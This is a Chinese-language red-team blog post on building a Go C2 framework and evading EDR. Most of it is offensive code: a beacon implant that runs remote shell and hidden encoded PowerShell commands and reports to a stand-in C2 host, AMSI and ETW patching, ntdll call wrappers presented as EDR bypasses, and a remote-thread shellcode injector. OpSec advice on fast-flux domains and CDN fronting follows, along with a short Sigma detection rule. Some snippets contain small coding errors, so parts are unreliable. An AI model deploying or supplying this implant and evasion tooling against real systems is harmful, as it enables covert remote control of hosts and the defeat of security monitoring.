跳过正文
  1. 文章列表/

红队工程:C2 框架设计与对抗 EDR 的实战技术

Elone Yue
作者
Elone Yue

引言
#

红队工程的核心是 C2 (Command and Control) 框架。本文将演示如何从零构建一个轻量级 C2,并分析对抗现代 EDR 的底层原理。

免责声明: 本文仅供授权的红队演练和安全研究使用。

C2 架构设计
#

┌─────────────────────────────────────────────────┐
│                  C2 架构                          │
├─────────────────────────────────────────────────┤
│                                                  │
│  [Team Server]  ←──  mTLS 通信  ──▶  [Operator]  │
│       │                                          │
│       │ HTTP/S Beacon (随机间隔)                  │
│       ▼                                          │
│  [CDN/反代] ←──  混淆流量  ──▶  [Agent/Implant]  │
│       │                     (目标主机)             │
│       │ DNS Tunnel (备用通道)                     │
│       ▼                                          │
│  [Fallback C2]                                    │
│                                                  │
└─────────────────────────────────────────────────┘

Go C2 Agent 实现
#

Agent 核心代码
#

// agent/main.go
package main

import (
	"bytes"
	"crypto/tls"
	"encoding/base64"
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"os"
	"os/exec"
	"runtime"
	"strings"
	"time"
)

// Beacon 结构体
type Beacon struct {
	ID       string    `json:"id"`
	Hostname string    `json:"hostname"`
	User     string    `json:"user"`
	OS       string    `json:"os"`
	Arch     string    `json:"arch"`
	PID      int       `json:"pid"`
	Status   string    `json:"status"`
}

type TaskResponse struct {
	ID      string `json:"id"`
	Command string `json:"command"`
	Payload []byte `json:"payload"`
}

type TaskResult struct {
	ID     string `json:"id"`
	Output string `json:"output"`
	Status int    `json:"status"`
}

var (
	c2URL    = "https://c2.example.com/api/v1"
	beaconID string
	interval = 60 * time.Second
	jitter   = 0.3
)

func main() {
	// 初始化 Beacon
	beaconID = generateBeaconID()
	
	// 设置 TLS 配置 (跳过证书验证)
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	client := &http.Client{Transport: tr}
	
	fmt.Printf("[*] Beacon %s started\n", beaconID)
	
	// 主循环
	for {
		// 添加 jitter 防止流量特征
		sleepTime := interval + time.Duration(float64(interval)*jitter*(2*random()-1))
		time.Sleep(sleepTime)
		
		// 发送 Beacon
		beacon := Beacon{
			ID:       beaconID,
			Hostname: getHostname(),
			User:     getUser(),
			OS:       runtime.GOOS,
			Arch:     runtime.GOARCH,
			PID:      os.Getpid(),
			Status:   "active",
		}
		
		data, _ := json.Marshal(beacon)
		resp, err := client.Post(c2URL+"/beacon", "application/json", bytes.NewReader(data))
		if err != nil {
			continue
		}
		defer resp.Body.Close()
		
		if resp.StatusCode != 200 {
			continue
		}
		
		// 解析任务
		var task TaskResponse
		json.NewDecoder(resp.Body).Decode(&task)
		
		if task.Command == "" {
			continue
		}
		
		// 执行命令
		result := executeCommand(task.Command, task.Payload)
		
		// 回传结果
		sendResult(client, result)
	}
}

func executeCommand(cmd string, payload []byte) TaskResult {
	result := TaskResult{ID: cmd[:8]}
	
	switch cmd {
	case "shell":
		// 执行 Shell 命令
		var shellCmd *exec.Cmd
		if runtime.GOOS == "windows" {
			shellCmd = exec.Command("cmd", "/c", string(payload))
		} else {
			shellCmd = exec.Command("/bin/sh", "-c", string(payload))
		}
		
		output, err := shellCmd.CombinedOutput()
		result.Output = base64.StdEncoding.EncodeToString(output)
		if err != nil {
			result.Status = 1
		}
		
	case "upload":
		// 上传文件
		filename := string(payload[:64])
		filedata := payload[64:]
		os.WriteFile(filename, filedata, 0644)
		result.Output = "uploaded"
		
	case "powershell":
		// PowerShell 无文件执行
		shellCmd = exec.Command("powershell", "-nop", "-w", "hidden", "-enc", base64.StdEncoding.EncodeToString(payload))
		output, _ := shellCmd.CombinedOutput()
		result.Output = base64.StdEncoding.EncodeToString(output)
		
	default:
		result.Output = "unknown command"
		result.Status = 1
	}
	
	return result
}

func sendResult(client *http.Client, result TaskResult) {
	data, _ := json.Marshal(result)
	client.Post(c2URL+"/result", "application/json", bytes.NewReader(data))
}

func generateBeaconID() string {
	return fmt.Sprintf("%08x", time.Now().UnixNano())
}

func getHostname() string {
	h, _ := os.Hostname()
	return h
}

func getUser() string {
	if runtime.GOOS == "windows" {
		return os.Getenv("USERNAME")
	}
	return os.Getenv("USER")
}

func random() float64 {
	return float64(time.Now().UnixNano()%1000) / 1000.0
}

EDR 对抗技术
#

Syscall 直接调用
#

现代 EDR 通过 Hook 用户态 API (如 kernel32.dll) 来检测恶意行为。绕过方法:直接调用 Native API (syscalls)。

// syscalls/syscall_windows.go
package syscalls

import (
	"syscall"
	"unsafe"
)

var (
	ntdll             = syscall.NewLazyDLL("ntdll.dll")
	procNtAllocateVirtualMemory = ntdll.NewProc("NtAllocateVirtualMemory")
	procNtWriteVirtualMemory    = ntdll.NewProc("NtWriteVirtualMemory")
	procNtCreateThreadEx        = ntdll.NewProc("NtCreateThreadEx")
)

// NtAllocateVirtualMemory 直接分配内存 (绕过 EDR Hook)
func NtAllocateVirtualMemory(
	processHandle uintptr,
	baseAddress *uintptr,
	zeroBits uintptr,
	size *uintptr,
	allocationType uint32,
	protect uint32,
) uint32 {
	ret, _, _ := procNtAllocateVirtualMemory.Call(
		processHandle,
		uintptr(unsafe.Pointer(baseAddress)),
		0,
		uintptr(unsafe.Pointer(size)),
		uintptr(allocationType),
		uintptr(protect),
	)
	return uint32(ret)
}

// NtCreateThreadEx 创建远程线程
func NtCreateThreadEx(
	threadHandle *uintptr,
	desiredAccess uint32,
	objectAttributes uintptr,
	processHandle uintptr,
	startAddress uintptr,
	parameter uintptr,
	createFlags uint32,
	zeroBits uintptr,
	stackSize uintptr,
	maximumStackSize uintptr,
	attributeList uintptr,
) uint32 {
	ret, _, _ := procNtCreateThreadEx.Call(
		uintptr(unsafe.Pointer(threadHandle)),
		uintptr(desiredAccess),
		objectAttributes,
		processHandle,
		startAddress,
		parameter,
		uintptr(createFlags),
		zeroBits,
		stackSize,
		maximumStackSize,
		attributeList,
	)
	return uint32(ret)
}

AMSI Bypass
#

// amsi_bypass.c
// 绕过 Windows Antimalware Scan Interface
#include <windows.h>
#include <stdio.h>

// AMSI 扫描函数地址
typedef HRESULT(WINAPI* AmsiScanBufferPtr)(
    HAMSICONTEXT amsiContext,
    const void* buffer,
    ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result
);

// Patch AmsiScanBuffer
void PatchAmsiScanBuffer() {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    if (!hAmsi) return;
    
    AmsiScanBufferPtr pAmsiScanBuffer = 
        (AmsiScanBufferPtr)GetProcAddress(hAmsi, "AmsiScanBuffer");
    
    if (!pAmsiScanBuffer) return;
    
    // 方法 1: 直接 Patch 函数开头 (ret)
    unsigned char patch[] = { 0xC3 };  // ret
    
    DWORD oldProtect;
    VirtualProtect(pAmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(pAmsiScanBuffer, patch, sizeof(patch));
    VirtualProtect(pAmsiScanBuffer, sizeof(patch), oldProtect, &oldProtect);
    
    printf("[+] AMSI bypass applied\n");
}

// 方法 2: ETwEventWrite Patch (更隐蔽)
void PatchEtwEventWrite() {
    HMODULE ntdll = LoadLibraryA("ntdll.dll");
    void* pEtwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
    
    unsigned char patch[] = { 0xC3 };  // ret
    
    DWORD oldProtect;
    VirtualProtect(pEtwEventWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(pEtwEventWrite, patch, sizeof(patch));
    VirtualProtect(pEtwEventWrite, sizeof(patch), oldProtect, &oldProtect);
}

进程注入:Reflective DLL Injection
#

// injector/main.go
package main

import (
	"encoding/hex"
	"fmt"
	"os"
	"syscall"
	"unsafe"
)

var (
	kernel32          = syscall.NewLazyDLL("kernel32.dll")
	procOpenProcess   = kernel32.NewProc("OpenProcess")
	procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
	procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
	procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread")
)

func inject(shellcode []byte, targetPID int) error {
	// 1. 打开目标进程
	hProcess, _, _ := procOpenProcess.Call(
		PROCESS_ALL_ACCESS, 0, uintptr(targetPID),
	)
	
	// 2. 分配内存
	addr, _, _ := procVirtualAllocEx.Call(
		hProcess, 0, uintptr(len(shellcode)),
		MEM_COMMIT, PAGE_EXECUTE_READWRITE,
	)
	
	// 3. 写入 Shellcode
	procWriteProcessMemory.Call(
		hProcess, addr,
		uintptr(unsafe.Pointer(&shellcode[0])),
		uintptr(len(shellcode)), 0,
	)
	
	// 4. 创建远程线程执行
	procCreateRemoteThread.Call(
		hProcess, 0, 0, addr, 0, 0, 0,
	)
	
	fmt.Printf("[+] Injected into PID %d\n", targetPID)
	return nil
}

const (
	PROCESS_ALL_ACCESS     = 0x1F0FFF
	MEM_COMMIT             = 0x1000
	PAGE_EXECUTE_READWRITE = 0x40
)

func main() {
	if len(os.Args) < 3 {
		fmt.Println("Usage: injector <pid> <shellcode_hex>")
		os.Exit(1)
	}
	
	shellcodeHex := os.Args[2]
	shellcode, _ := hex.DecodeString(shellcodeHex)
	
	var pid int
	fmt.Sscanf(os.Args[1], "%d", &pid)
	
	inject(shellcode, pid)
}

OpSec 注意事项
#

  1. 基础设施隔离: C2 服务器与个人身份完全隔离
  2. 域名快闪: 使用短期域名 (TTL < 1小时)
  3. 流量混淆: Beacon 流量伪装为正常 HTTPS 流量
  4. CDN 反代: 使用 Cloudflare 等 CDN 隐藏真实 C2 IP
  5. 证书选择: 使用合法 CA 签发的证书,而非自签名

防御检测
#

# Sigma Rule: C2 Agent Detection
title: Suspicious Go Binary Execution
id: c2-detection-001
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\*.exe'
    CommandLine|contains:
      - '-enc '
      - 'powershell'
      - 'cmd /c'
  filter:
    ParentImage|contains:
      - 'explorer.exe'
      - 'cmd.exe'
  condition: selection and not filter
level: high

总结
#

  1. C2 架构核心:隐蔽性 > 功能性
  2. EDR 对抗:Syscall 直接调用 > API Hook
  3. OpSec 决定生存时间:基础设施管理比代码更重要
  4. 合法使用:仅在授权范围内使用

参考资源

  1. Cobalt Strike: https://www.cobaltstrike.com
  2. Sliver C2: https://github.com/BishopFox/sliver
  3. Reflective DLL Injection: https://github.com/stephenfewer/ReflectiveDLLInjection
  4. EDR/AV Bypass Methods: https://github.com/Kara-4uk/EDR-killer